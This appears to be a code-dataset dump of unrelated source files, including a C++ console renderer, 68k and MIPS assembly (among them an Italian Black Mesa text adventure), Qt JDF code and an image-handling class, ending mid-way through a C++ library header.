text stringlengths 1 1.05M |
|---|
#include "Drawing.h"
HANDLE DrawingObject::HConsole = NULL;
unsigned DrawingObject::WIDTH = 1;
unsigned DrawingObject::HEIGHT = 1;
void DrawingObject::DrawObject(HANDLE& hConsole, const char * character, COORD position, DWORD dwBytesWritten)
{
WriteConsoleOutputCharacter(hConsole, character, std::strlen(character), position, &dwBytesWritten);
}
void DrawingObject::DrawMap(const Map& map)
{
vectorString objectsToDraw = map.GetObjectsToDraw();
for (vectorString::const_iterator cit = objectsToDraw.cbegin(); cit != objectsToDraw.cend(); cit++)
{
COORD position;
position.X = 0;
position.Y = cit - objectsToDraw.cbegin();
DWORD dwBytesWritten = 0;
const char* row = cit->c_str();
DrawObject(DrawingObject::HConsole, row, position, dwBytesWritten);
}
// all objects have location, the function only have to draw it...
}
void DrawingObject::WipeMeshes(const Map & map)
{
vectorString objectsToDraw = map.GetObjectsToDraw();
size_t rowLength = map.GetMapWidth();
char* row = new char[rowLength + 1];
for (size_t i = 0; i < rowLength; i++)
row[i] = ' ';
row[rowLength] = '\0';
for (vectorString::const_iterator cit = objectsToDraw.cbegin(); cit != objectsToDraw.cend(); cit++)
{
COORD position;
position.X = 0;
position.Y = cit - objectsToDraw.cbegin();
DWORD dwBytesWritten = 0;
DrawObject(DrawingObject::HConsole, row, position, dwBytesWritten);
}
delete[] row;
}
|
db "WATER WEED@" ; species name
db "Its leaf grew too"
next "large for it to"
next "live on land. This"
page "is why it chose to"
next "live by floating"
next "on water.@"
|
; DV3 java HDD inititilization 1.00 @ W. Lenerz 2020
;
; based on
;
; DV3 Q40 IDE Initialisation V3.00 1992 Tony Tebby
section dv3
xdef hd_init
xref.l hd_vers
xref.s hd.rev
xref dv3_link
xref dv3_acdef
xref gu_fopen
xref gu_fclos
include 'dev8_dv3_keys'
include 'dev8_dv3_hd_keys'
include 'dev8_dv3_mac'
include 'dev8_keys_qdos_ioa'
include 'dev8_keys_qdos_sms'
include 'dev8_keys_sys'
include 'dev8_mac_assert'
include 'dev8_mac_basic'
include 'dev8_mac_proc'
include 'dev8_keys_qlv'
;+++
; DV3 JAVA HD disk initialisation
;
; d6 s
; d7 s
; a3 smashed
;---
hd_init
lea hd_proctab,a1
move.w sb.inipr,a2
jsr (a2) ; link in procedures
lea hd_table,a3
jsr dv3_link ; link in driver
hdi_rts
rts
hd_table
link_table HDD, hd.rev, hdl_end, ddf_dtop
buffered
sectl 512
mtype ddl.hd
msect 255
density ddf.dd
poll hd_poll_check
check hd_check
direct hd_direct
rsect hd_rdirect
wsect hd_wdirect
slbfill hd_slbfill
slbupd hd_slbupd
dflush hd_dflush
fflush hd_fflush
;;; fslave hd_fslave
mformat hd_mformat
status hd_fstatus
done hd_done
thing hd_tname,hd_thing
preset_b hdl_apnd-1, 0,hdl.apnd
preset_b hdl_maxd, hdl.maxd, 0
preset_w hdl_paus,30
preset_b hdl_part,$ff,$ff,$ff,$ff,$ff,$ff,$ff,$ff
preset_b hdl_remd,0,0,0,0,0,0,0,0
; preset_b hdl_remd,1,1,1,1,1,1,1,1
preset_v hdl_rsint,hd_rsint
preset_v hdl_wsint,hd_wsint
preset_v hdl_ckrdy,hd_ckrdy
preset_v hdl_ckwp,hd_ckwp
preset_v hdl_lock,hd_lock
preset_v hdl_unlock,hd_unlock
preset_v hdl_ststp,hd_ststp
link_end hdl_buff
section exten
proc_thg {HDD Control}
fun_thg {HDD Control}
HDD_use proc {USE }
HDD_drive proc {DRIV}
;HDD_start proc {STRT}
;HDD_stop proc {STOP}
HDD_remv proc {REMV}
HDD_wp proc {WPRT}
HDD_format proc {FRMT}
;HDD_slug proc {SLUG}
HDD_drive$
move.l #260,d7
bsr.s fun_thg
dc.l 'DRV$'
hd_proctab
proc_stt
proc_ref HDD_USE
proc_ref HDD_DRIVE
proc_ref HDD_REMV
proc_ref HDD_WP
proc_ref HDD_FORMAT
proc_end
proc_stt
proc_ref HDD_DRIVE$
proc_end
end
|
; A171640: a(n) = 10*a(n-1)-a(n-2)-4 with a(1)=1 and a(2)=3.
; 1,3,25,243,2401,23763,235225,2328483,23049601,228167523,2258625625,22358088723,221322261601,2190864527283,21687323011225,214682365584963,2125136332838401,21036680962799043,208241673295152025,2061380051988721203,20405558846592060001,201994208413931878803,1999536525292726728025,19793371044513335401443,195934173919840627286401,1939548368153892937462563,19199549507619088747339225,190055946708036994535929683,1881359917572750856611957601,18623543229019471571583646323,184354072372621964859224505625,1824917180497200177020661409923,18064817732599379805347389593601,178823260145496597876453234526083,1770167783722366598959184955667225,17522854577078169391715396322146163,173458377987059327318194778265794401
seq $0,87799 ; a(n) = 10*a(n-1) - a(n-2), starting with a(0) = 2 and a(1) = 10.
div $0,4
add $0,1
|
#include <new>
#include "SwImg.h"
#undef new
SwImg::SwImg()
{
m_pGDIPBMP = NULL;
}
SwImg::~SwImg()
{
if(m_pGDIPBMP)
::delete m_pGDIPBMP;
}
void SwImg::Clear()
{
if(m_pGDIPBMP)
{
::delete m_pGDIPBMP;
m_pGDIPBMP = NULL;
}
}
int SwImg::GetPicWidth()
{
return m_PicW;
}
int SwImg::GetPicHeight()
{
return m_PicH;
}
bool SwImg::CVMatToBitmap()
{
size_t padding;
if(padding = (m_cvimg.cols & (4 - 1)))
{// padding is required
padding = 4 - padding;
int oldcols = m_cvimg.cols;
cv::copyMakeBorder(m_cvimg, m_cvimg, 0, 0, 0, padding, cv::BORDER_CONSTANT);
m_cvimg.cols = oldcols;
}
m_pGDIPBMP = ::new Gdiplus::Bitmap(m_cvimg.cols, m_cvimg.rows, m_cvimg.step[0], PixelFormat24bppRGB, (BYTE*)m_cvimg.data);
if(!m_pGDIPBMP)
{
::MessageBox(NULL, _T("Memory allocation failed!"), _T("Error!"), MB_ICONERROR);
return false;
}
return true;
}
bool SwImg::ReadImage(LPCSTR szFileName)
{
m_cvimg = cv::imread(szFileName);
if(!m_cvimg.data)
{
::MessageBoxA(NULL, szFileName, "Cannot load image!", MB_ICONERROR);
return false;
}
CVMatToBitmap();
m_PicW = m_pGDIPBMP->GetWidth();
m_PicH = m_pGDIPBMP->GetHeight();
return true;
}
bool SwImg::ReadImage(LPCWSTR szFileName)
{
CHAR ansiFileName[MAX_PATH];
if(!WideCharToMultiByte(CP_ACP, 0, szFileName, -1, ansiFileName, MAX_PATH, NULL, NULL))
{
PopErrorBox(_T("WideCharToMultiByte()"), NULL);
return false;
}
return ReadImage(ansiFileName);
}
bool SwImg::ChangeImage(LPCSTR szFileName)
{
cv::Mat test;
test = cv::imread(szFileName);
if(!test.data)
{
::MessageBoxA(NULL, szFileName, "Cannot load image!", MB_ICONERROR);
return false;
}
Clear();
m_cvimg = test;
CVMatToBitmap();
m_PicW = m_pGDIPBMP->GetWidth();
m_PicH = m_pGDIPBMP->GetHeight();
return true;
}
bool SwImg::ChangeImage(LPCWSTR szFileName)
{
CHAR ansiFileName[MAX_PATH];
if(!WideCharToMultiByte(CP_ACP, 0, szFileName, -1, ansiFileName, MAX_PATH, NULL, NULL))
{
PopErrorBox(_T("WideCharToMultiByte()"), NULL);
return false;
}
return ChangeImage(ansiFileName);
}
CSize& SwImg::CLTScaleToImg(CSize &size)
{
size.cx = MulDiv(size.cx, m_PicW, m_PicRect.Width);
size.cy = MulDiv(size.cy, m_PicH, m_PicRect.Height);
return size;
}
CSize& SwImg::ImgScaleToCLT(CSize &size)
{
size.cx = MulDiv(size.cx, m_PicRect.Width, m_PicW);
size.cy = MulDiv(size.cy, m_PicRect.Height, m_PicH);
return size;
}
POINT& SwImg::CLTToImg(POINT &pt)
{
pt.x = MulDiv(pt.x - m_PicRect.X, m_PicW, m_PicRect.Width);
pt.y = MulDiv(pt.y - m_PicRect.Y, m_PicH, m_PicRect.Height);
return pt;
}
POINT& SwImg::ImgToCLT(POINT &pt)
{
pt.x = MulDiv(pt.x, m_PicRect.Width, m_PicW) + m_PicRect.X;
pt.y = MulDiv(pt.y, m_PicRect.Height, m_PicH) + m_PicRect.Width;
return pt;
}
Gdiplus::Rect& SwImg::CLTToImg(Gdiplus::Rect &grect)
{
grect.X = MulDiv(grect.X - m_PicRect.X, m_PicW, m_PicRect.Width);
grect.Y = MulDiv(grect.Y - m_PicRect.Y, m_PicH, m_PicRect.Height);
grect.Width = MulDiv(grect.Width, m_PicW, m_PicRect.Width);
grect.Height = MulDiv(grect.Height, m_PicH, m_PicRect.Height);
return grect;
}
void SwImg::CLTToImg(Gdiplus::Rect &grect, FltRect *pfrc)
{
pfrc->x = (float)(grect.X - m_PicRect.X) * m_PicW / m_PicRect.Width;
pfrc->y = (float)(grect.Y - m_PicRect.Y) * m_PicH / m_PicRect.Height;
pfrc->w = (float)grect.Width * m_PicW / m_PicRect.Width;
pfrc->h = (float)grect.Height * m_PicH / m_PicRect.Height;
}
Gdiplus::Rect& SwImg::ImgToCLT(Gdiplus::Rect &grect)
{
grect.X = MulDiv(grect.X, m_PicRect.Width, m_PicW) + m_PicRect.X;
grect.Y = MulDiv(grect.Y, m_PicRect.Height, m_PicH) + m_PicRect.Y;
grect.Width = MulDiv(grect.Width, m_PicRect.Width, m_PicW);
grect.Height = MulDiv(grect.Height, m_PicRect.Height, m_PicH);
return grect;
}
void SwImg::SetClient()
{
if((unsigned long long)m_cxClient * m_PicH
==
(unsigned long long)m_cyClient * m_PicW)
// proportional
{
m_PicRect.X = 0;
m_PicRect.Y = 0;
m_PicRect.Width = m_cxClient;
m_PicRect.Height = m_cyClient;
}
else if((unsigned long long)m_cxClient * m_PicH
>
(unsigned long long)m_cyClient * m_PicW)
{ // empty at left and right
int cxMag = MulDiv(m_PicW, m_cyClient, m_PicH);
m_PicRect.X = (m_cxClient - cxMag + 1) / 2;
m_PicRect.Y = 0;
m_PicRect.Width = cxMag;
m_PicRect.Height = m_cyClient;
}
else
{ // empty at top and bottom
int cyMag = MulDiv(m_PicH, m_cxClient, m_PicW);
m_PicRect.X = 0;
m_PicRect.Y = (m_cyClient - cyMag + 1) / 2;
m_PicRect.Width = m_cxClient;
m_PicRect.Height = cyMag;
}
}
void SwImg::SetClient(RECT &rect)
{
m_cxClient = rect.right - rect.left;
m_cyClient = rect.bottom - rect.top;
SetClient();
}
void SwImg::SetClient(UINT cxClient, UINT cyClient)
{
m_cxClient = cxClient;
m_cyClient = cyClient;
SetClient();
}
Gdiplus::Rect& SwImg::GetPicRectInCLT()
{
return m_PicRect;
}
Gdiplus::Status SwImg::Draw(Gdiplus::Graphics &gr)
{
return gr.DrawImage(m_pGDIPBMP, m_PicRect);
}
Gdiplus::Status SwImg::DrawBoxPlus(Gdiplus::Graphics &gr, Gdiplus::Rect &grect, Gdiplus::Color c)
{
Gdiplus::Pen pen(c, BOXWIDTH);
return gr.DrawRectangle(&pen, grect);
}
bool SwImg::DrawBox(CDC *pDC, CRect &rect, COLORREF c)
{
pDC->SelectStockObject(HOLLOW_BRUSH);
CPen pen(PS_INSIDEFRAME, BOXWIDTH, c);
CPen* pOldPen = pDC->SelectObject(&pen);
bool bRetv = static_cast<bool>(pDC->Rectangle(&rect));
pDC->SelectObject(pOldPen);
return bRetv;
}
bool SwImg::DrawBox(CDC *pDC, CRect &rect, COLORREF c, CRect &resizehandle)
{
if(!DrawBox(pDC, rect, c))
return false;
pDC->SelectStockObject(WHITE_BRUSH);
CPen pen(PS_INSIDEFRAME, 1, ST_RESIZEHANDLE_COLOR);
CPen* pOldPen = pDC->SelectObject(&pen);
bool bRetv = static_cast<bool>(pDC->Rectangle(&resizehandle));
pDC->SelectObject(pOldPen);
return bRetv;
}
|
.text
target: li $v0, 2
j target
|
/* Copyright 2018, OpenSoft Inc.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted
* provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this list of
* conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright notice, this list of
* conditions and the following disclaimer in the documentation and/or other materials provided
* with the distribution.
* * Neither the name of OpenSoft Inc. nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
* IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
* OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
*/
#include "proofnetwork/jdf/data/deviceinfo.h"
#include "proofnetwork/networkdataentity_p.h"
namespace Proof {
namespace Jdf {
class DeviceInfoPrivate : public NetworkDataEntityPrivate
{
Q_DECLARE_PUBLIC(DeviceInfo)
QString deviceId;
DeviceStatus status = DeviceStatus::UnknownDeviceStatus;
DeviceCondition condition = DeviceCondition::OkDeviceCondition;
};
QString DeviceInfo::deviceId() const
{
Q_D_CONST(DeviceInfo);
return d->deviceId;
}
DeviceStatus Proof::Jdf::DeviceInfo::status() const
{
Q_D_CONST(DeviceInfo);
return d->status;
}
DeviceCondition DeviceInfo::condition() const
{
Q_D_CONST(DeviceInfo);
return d->condition;
}
void DeviceInfo::setDeviceId(const QString &arg)
{
Q_D(DeviceInfo);
if (d->deviceId != arg) {
d->deviceId = arg;
emit deviceIdChanged(d->deviceId);
}
}
void Proof::Jdf::DeviceInfo::setStatus(DeviceStatus arg)
{
Q_D(DeviceInfo);
if (d->status != arg) {
d->status = arg;
emit statusChanged(d->status);
}
}
void Proof::Jdf::DeviceInfo::setCondition(DeviceCondition arg)
{
Q_D(DeviceInfo);
if (d->condition != arg) {
d->condition = arg;
emit conditionChanged(d->condition);
}
}
NetworkDataEntityQmlWrapper *DeviceInfo::toQmlWrapper(QObject *) const
{
Q_ASSERT(false);
return nullptr;
}
DeviceInfoSP DeviceInfo::create()
{
DeviceInfoSP result(new DeviceInfo());
initSelfWeakPtr(result);
return result;
}
DeviceInfoSP DeviceInfo::fromJmf(QXmlStreamReader &xmlReader)
{
DeviceInfoSP deviceInfo;
if (xmlReader.isStartElement() && xmlReader.name() == "DeviceInfo") {
deviceInfo = create();
deviceInfo->setFetched(true);
auto attributes = xmlReader.attributes();
deviceInfo->setDeviceId(attributes.value(QStringLiteral("DeviceID")).toString());
deviceInfo->setStatus(deviceStatusFromString(attributes.value(QStringLiteral("DeviceStatus")).toString()));
deviceInfo->setCondition(
deviceConditionFromString(attributes.value(QStringLiteral("DeviceCondition")).toString()));
}
xmlReader.skipCurrentElement();
return deviceInfo;
}
void DeviceInfo::toJmf(QXmlStreamWriter &xmlWriter)
{
Q_D(DeviceInfo);
xmlWriter.writeStartElement(QStringLiteral("DeviceInfo"));
xmlWriter.writeAttribute(QStringLiteral("DeviceID"), d->deviceId);
xmlWriter.writeAttribute(QStringLiteral("DeviceStatus"), deviceStatusToString(d->status));
xmlWriter.writeAttribute(QStringLiteral("DeviceCondition"), deviceConditionToString(d->condition));
xmlWriter.writeEndElement();
}
DeviceInfo::DeviceInfo() : NetworkDataEntity(*new DeviceInfoPrivate)
{}
} // namespace Jdf
} // namespace Proof
|
.data
Stringa_1: .asciiz "Ti trovi nel centro di ricerca Black Mesa. Al momento c'è stato un disastro ed è in corso l'evacuazione. Alcune creature si stanno avvicinando, è il momento di fuggire! cosa fai? <opzioni> : \n (1) Prendo il piede di porco a terra \n (2) Apro la porta davanti a me \n \n Numero scelta: "
Stringa_2: .asciiz "Hai ottenuto il piede di porco! \n \n"
Stringa_3: .asciiz "La porta davanti a te è bloccata, ma usando il piede di porco riesci a forzarla e a passare. Dopo il tuo passaggio la porta si richiude. \n \n Ti ritrovi in un corridoio abbastanza stretto, in fondo vi è una porta già aperta, per terra vi sono un paio di cadaveri del personale di sicurezza. \n Cosa fai? <opzioni> : \n (1) Corro fino in fondo e attraverso la porta aperta \n (2) Perlustro i dintorni \n \n Numero scelta: "
Stringa_err: .asciiz "La porta sembra essere bloccata, ma con il giusto attrezzo potresti riuscire a forzarla. Le creature sono ormai a contatto e sei morto indifeso. \n Game Over."
Stringa_4: .asciiz "Hai ottenuto un caricatore per pistole e 1 cura medica! \n \n"
Stringa_5: .asciiz "Proseguendo per la stanza successiva... \n Ci sono alcuni sistemi elettrici in fiamme e altri corpi ammassati in un angolo. Inoltre, vi è un'ascensore che sembra essere funzionante. \n Cosa fai? <opzioni> : \n (1) Mi dirigo verso l'ascensore \n (2) Perlustro nella stanza \n (3) Visualizza il mio inventario\n \n Numero scelta: "
headcrab: .asciiz "Rovistando tra i cadaveri ti imbatti in un parassita headcrab! \n Cosa fai? <opzioni> : \n (1) Combatto. \n (2) Fuggo verso l'ascensore. \n \n Numero scelta: "
fuga_headcrab: .asciiz "Buttandoci sopra un cadavere e dunque rallentando il parassita nemico, sei riuscito a guadagnare abbastanza tempo per raggiungere l'ascensore e far chiudere le porte. \n \n"
elevator: .asciiz "Passi alcuni secondi prima di raggiungere l'ultimo piano disponibile, gli ultimi 2 per raggiungere la superficie e uscire da Black Mesa dovrai farli a piedi. Uscito hai a disposizione un corridoio che prosegue verso le scale. Noti in lontananza qualcosa(nelle vicinanze delle scale), forse un uomo accasciato. \n Cosa fai? <opzioni> : \n (1) Procedo diritto per il corridoio per raggiungere le scale \n (2) Esploro il corridoio di sinistra. \n (3) visualizza il mio inventario. \n \n Numero scelta: "
cura: .asciiz "I tuoi punti salute non sono al massimo, vuoi curarti? (ripristinerai 6 punti ma non puoi eccedere il massimo, 12) \n Cosa fai? <opzioni> : \n (1) mi curo \n (2) proseguo senza curarmi. \n \n Numero scelta: "
hp_left: .asciiz "Ti sono rimasti precisamente "
hp: .asciiz " punti salute. \n \n"
zombie: .asciiz "Avvicinandoti alle scale, l'uomo, prima accasciato, si è ora alzato e cerca di attaccarti. Impossibile da evitare \n"
zombie_2: .asciiz " Che arma usi? <opzioni> : \n (1) uso il piede di porco \n (2) uso la pistola. \n \n Numero scelta: "
pistola: .asciiz "Esplorando una delle stanze sei riuscito a trovare una nuova arma. \n \n Hai ottenuto una pistola! 7 proiettili all'interno. \n \n"
piano2: .asciiz " Sei riuscito a salire le scale e sei al piano superiore, ormai poco distante dal tetto che ti condurrà alla libertà. A 10 metri di distanza vi è un altro essere dalle dubbie intenzioni amichevoli, dietro di lui una porta semi-aperta. \n Cosa fai? <opzioni> : \n (1) Uccido lo zombie ed entro \n (2) Proseguo senza farmi notare e salgo al piano successivo \n (3) visualizza il mio inventario. \n \n Numero scelta: "
zombie_gun: .asciiz "Con l'uso della pistola dalla distanza, sei riuscito ad abbattere il nemico senza che lui riuscisse ad avvicinarsi. \n La pistola è ora scarica. \n \n"
empty_room: .asciiz "Dopo aver ucciso lo zombie ed essere entrato nella stanza, ti accorgi che al suo interno non vi è niente di utile. \n \n "
pianoFinale: .asciiz "Sei all'ultimo piano. Rimane solo un lungo corridoio da percorrere, la porta in fondo ti porterà all'esterno. \n Cosa fai? <opzioni> : \n (1) Corro verso la porta e la apro. \n (2) perlustro la zona in cerca di oggetti utili. \n (3) visualizza il mio inventario. \n \n Numero scelta: "
zombie_final: .asciiz " Mentre ti avvicini alla porta per aprirla, da un angolo sbuca fuori un altro zombie e cerca di attaccarti! \n \n "
Ending: .asciiz " Aprendo l'ultima porta, ti ritrovi all'esterno. Complimenti, sei riuscito a fuggire da Black Mesa! "
cura2: .asciiz "Perlustrando i dintorni hai trovato una cura medica! \n"
reload: .asciiz "La pistola è stata ricaricata utilizzando il caricatore all'interno dell'inventario. \n \n"
morte: .asciiz " \n \n Sei morto... Game Over."
vittoria: .asciiz " \n \n Hai sconfitto il nemico, puoi proseguire. \n \n "
vuoto_I: .asciiz " - vuoto \n"
NoCura: .asciiz "Non possiedi una cura medica nell'inventario!! \n \n"
pistola_I: .asciiz " - Pistola \n"
pistolaScarica_I: .asciiz " - Pistola(scarica) \n "
crowbar_I: .asciiz " - Piede di porco \n"
medikit_I: .asciiz " - cura medica \n"
ammo_I: .asciiz " - Caricatore per pistola \n"
.align 2
array_inventario: .space 16
.text
.globl main
main:
li $s0,12 #punti salute utente
li $s1,3 #punti salute headcrab
li $s2,7 #punti salute zombie
li $s3,3 #danni piede di porco
li $s4,5 #danni pistola
li $t4,2 #danni headcrab
li $s6,4 #danni zombie
li $s7,6 #cura medica
la $s5,array_inventario #in s5 salvo l'indirizzo dell'array che conterrà l'inventario del giocatore
la $a0,vuoto_I
li $a1,0
jal setta_inventario #set degli spazi dell'inventario con la stringa vuoto_I(si andranno poi a sostituire man mano che si trovano oggetti)
li $v0,4
la $a0,Stringa_1
syscall #print_string
li $v0,5
syscall #read_int
bne $v0,1,stop
jal crowbar #salta a crowbar salva PC in $ra
li $v0,4
la $a0,Stringa_3
syscall #print_string
li $v0,5
syscall
corridoio:
beq $v0,1,stanza_1
li $v0,4
la $a0,Stringa_4
syscall #print_string
la $t1,medikit_I
sw $t1,4($s5) #salvo nell'inventario la cura medica in posizione [1]
#addi $t3,$t3,4
la $t1,ammo_I
sw $t1,8($s5) #salvo caricatore per pistola in posizione [2]
#addi $t3,$t3,4
li $t1,0 #reset $t1
stanza_1:
li $v0,4
la $a0,Stringa_5
syscall #print_string
li $v0,5
syscall #read_int
addi $t2,$zero,1 #carico valore 1 in t2 per il ritorno in caso si scelga inventario
beq $v0,3,inventario #salta alla funzione inventario con la scelta 3
li $t2,0
beq $v0,1,ascensore #salta all'ascensore con la scelta 1
beq $v0,2,Headcrab #salta a headcrab con la scelta 2
Headcrab:
li $v0,4
la $a0,headcrab
syscall
li $v0,5
syscall
beq $v0,2,ascensore_fuga
#set dei parametri per chiamata a procedura "combatti"
move $a0,$s0 #punti salute utente
move $a1,$s1 #punti salute headcrab
move $a2,$s3 #piede di porco
move $a3,$t4 #danni headcrab
jal combatti
add $s0,$v0,$zero
li $t2,2 #carico valore 2 in t2 per il ritorno in caso di salto a cura
bne $s0,12,Cura #salta a cura se $s0 è diverso da 12, quindi se sono stati tolti punti salute
j ascensore
ascensore:
li $v0,4
la $a0,elevator
syscall
li $t2,2 #carico valore 2 in t2 per il ritorno in caso si scelga inventario
li $v0,5
syscall
beq $v0,1,scale
beq $v0,2,corridoio_sx
beq $v0,3,inventario
scale:
la $t4, pistola_I
lw $t5,12($s5)
beq $t4,$t5,scale_2 #se si possiedono entrambe le armi, viene richiesto quale si voglia usare, altrimenti di default crowbar
li $v0,4
la $a0,zombie
syscall #print_string
zombie_crowbar:
#settaggio dei parametri per chiamare combatti
move $a0,$s0 #salute utente
move $a1,$s2 #salute zombie
move $a2,$s3 #piede di porco
move $a3,$s6 #danni zombie
jal combatti
add $s0,$v0,$zero #in $v0 è contenuto il valore dei punti saluti post-battaglia, il valore di $s0 viene sostituito con esso
li $t2,4
bne $s0,12,Cura
beq $t6,2,stanza_vuota
beq $t6,3,Finale
j piano_sup
scale_2:
li $v0,4
la $a0,zombie
syscall #print_string
la $a0,zombie_2
syscall
li $v0,5
syscall #read_int
beq $v0,1,zombie_crowbar
#in caso di scelta della pistola, settaggio dei parametri per chiamare combatti
move $a0,$s0 #salute utente
move $a1,$s2 #salute zombie
move $a2,$s4 #pistola
move $a3,$s6 #danni zombie
jal combatti
add $s0,$v0,$zero
li $t2,4
bne $s0,12,Cura
j piano_sup
corridoio_sx:
li $v0,4
la $a0,pistola
syscall
la $t1,pistola_I
sw $t1,12($s5) #salvo pistola in posizione [3]
#addi $t3,$zero,16 #valore n per il ciclo che serve a visualizzare l'inventario
li $t1,0
j scale_2
piano_sup:
li $v0,4
la $a0,piano2
syscall #print_string
li $v0,5
syscall #read_int
li $t2,4
beq $v0,1,zombie_3
beq $v0,2,last_piano
beq $v0,3,inventario
zombie_3:
la $t5,pistola_I
lw $t6,12($s5)
beq $t5,$t6,zombie_shot #controllo sul possesso dell'oggetto pistola
j zombie_crowbar
zombie_shot:
li $v0,4
la $a0,zombie_2
syscall #print_string
li $v0,5
syscall #read_int
li $t6,2 #se salta a zombie_crowbar, poi salta a stanza_vuota
bne $v0,2,zombie_crowbar
li $v0,4
la $a0,zombie_gun
syscall #print_string
lw $t5,8($s5)
la $t6,ammo_I
beq $t5,$t6,ricarica #controllo sul possesso dell'oggetto caricatore
la $t5,pistolaScarica_I
sw $t5,12($s5)
j last_piano
ricarica:
li $v0,4
la $a0,reload
syscall #print_string
la $t5,vuoto_I
sw $t5,8($s5)
stanza_vuota:
li $v0,4
la $a0,empty_room
syscall #print_string
last_piano:
li $v0,4
la $a0,pianoFinale
syscall #print_string
li $v0,5
syscall #read_int
li $t2,5
li $t1,0
beq $v0,1,zombie_finale
beq $v0,3,inventario
la $t1,medikit_I
sw $t1,4($s5) #salvo cura medica in posizione [1]
li $v0,4
la $a0,cura2
syscall #print_string
bne $s0,12,Cura
zombie_finale:
li $v0,4
la $a0,zombie_final
syscall
la $t1,pistola_I
lw $t5,12($s5)
li $t6,3 #se salta a zombie_crowbar(pistola scarica), poi salta a Finale
bne $t1,$t5,zombie_crowbar
li $v0,4
la $a0,zombie_2
syscall #print_string
li $v0,5
syscall #read_int
beq $v0,1,zombie_crowbar
#in caso di scelta della pistola, settaggio dei parametri per chiamare combatti
move $a0,$s0 #salute utente
move $a1,$s2 #salute zombie
move $a2,$s4 #pistola
move $a3,$s6 #danni zombie
jal combatti
Finale:
li $v0,4
la $a0,Ending
syscall #print_string
j End
crowbar:
li $v0,4
la $a0,Stringa_2
syscall #print_string
la $t1,crowbar_I
sw $t1,0($s5) #salvo nell'inventario il piede di porco in posizione [0]
#addi $t3,$t3,4
li $t1,0 #reset $t1
jr $ra
stop:
li $v0,4
la $a0,Stringa_err
syscall #print_string
jr $ra
setta_inventario:
beq $a1,16,resetta #for(i = 0; i <= 16;i++)
sw $a0,0($s5)
addi $s5,$s5,4
addi $a1,$a1,4
j setta_inventario
resetta:
beq $a1,0,back
subu $s5,$s5,4
subu $a1,$a1,4
j resetta
back:
jr $ra
inventario:
beq $t1,16,reset_arrayInventario #for(i = 0; i <= 16;i++)
li $v0,4
lw $a0,0($s5)
syscall
addi $s5,$s5,4
addi $t1,$t1,4
j inventario
reset_arrayInventario:
beq $t1,0,ritorno
subu $s5,$s5,4
subu $t1,$t1,4
j reset_arrayInventario
ritorno:
beq $t2,1,stanza_1 #se in t2 è stato caricato 1, inventario è stato chiamato da stanza_1, dunque ritorna li
beq $t2,2,ascensore #se in t2 è stato caricato 2, inventario/cura è stato chiamato da ascensore/headcrab, dunque ritorna li
beq $t2,4,piano_sup #se in t2 è stato caricato 4, cura è chiamata da zombie/scale, dunque ritorna li(oppure inventario da piano_sup)
beq $t2,5,last_piano #se in t2 è stato caricato 5, inventario è chiamato da last_piano, ritorna li
combatti:
#parametri: $a0 i punti salute utente, $a1 i punti salute del nemico, $a2 l'arma usata dall'utente, $a3 i danni che può causare il nemico
addi $sp, $sp, -4
sw $s0, 4($sp)
fight:
sub $a0,$a0,$a3
blt $a0,0,fine_combatti
sub $a1,$a1,$a2
blt $a1,0,fine_combatti
j fight
fine_combatti:
blt $a0,0,game_over
add $s0,$a0,$zero
li $v0,4
la $a0,vittoria
syscall
add $v0,$s0,$zero
#ripristino i registri 'S'
lw $s0,4($sp)
addi $sp,$sp,4
jr $ra
Cura:
li $v0,4
la $a0,hp_left
syscall #print_string
li $v0,1
add $a0,$s0,$zero
syscall #print_int
li $v0,4
la $a0,hp
syscall #print_string
li $v0,4
la $a0,cura
syscall #print_string
li $v0,5
syscall #read_int
beq $v0,1,cura_Si
j ritorno
cura_Si:
la $t6,medikit_I
lw $t5,4($s5)
bne $t6,$t5,cura_No #controllo sul possesso dell'oggetto cura
add $s0,$s0,$s7
la $t6,vuoto_I
sw $t6,4($s5)
bgt $s0,12,reset_eccesso #controllo sull'eccesso di punti salute
j ritorno
reset_eccesso:
beq $s0,10,ritorno
subu $s0,$s0,1
j reset_eccesso
cura_No:
li $v0,4
la $a0,NoCura
syscall #print_string
j ritorno
ascensore_fuga:
li $v0,4
la $a0,fuga_headcrab
syscall #print_string
j ascensore
game_over:
li $v0,4
la $a0,morte
syscall #print_string
End:
li $v0,10
syscall #exit
|
/* A less simple result type
(C) 2017 Niall Douglas <http://www.nedproductions.biz/> (59 commits)
File Created: June 2017
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Distributed under the Boost Software License, Version 1.0.
(See accompanying file Licence.txt or copy at
http://www.boost.org/LICENSE_1_0.txt)
*/
#ifndef OUTCOME_BASIC_OUTCOME_HPP
#define OUTCOME_BASIC_OUTCOME_HPP
/* Configure Outcome with QuickCppLib
(C) 2015-2018 Niall Douglas <http://www.nedproductions.biz/> (24 commits)
File Created: August 2015
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License in the accompanying file
Licence.txt or at
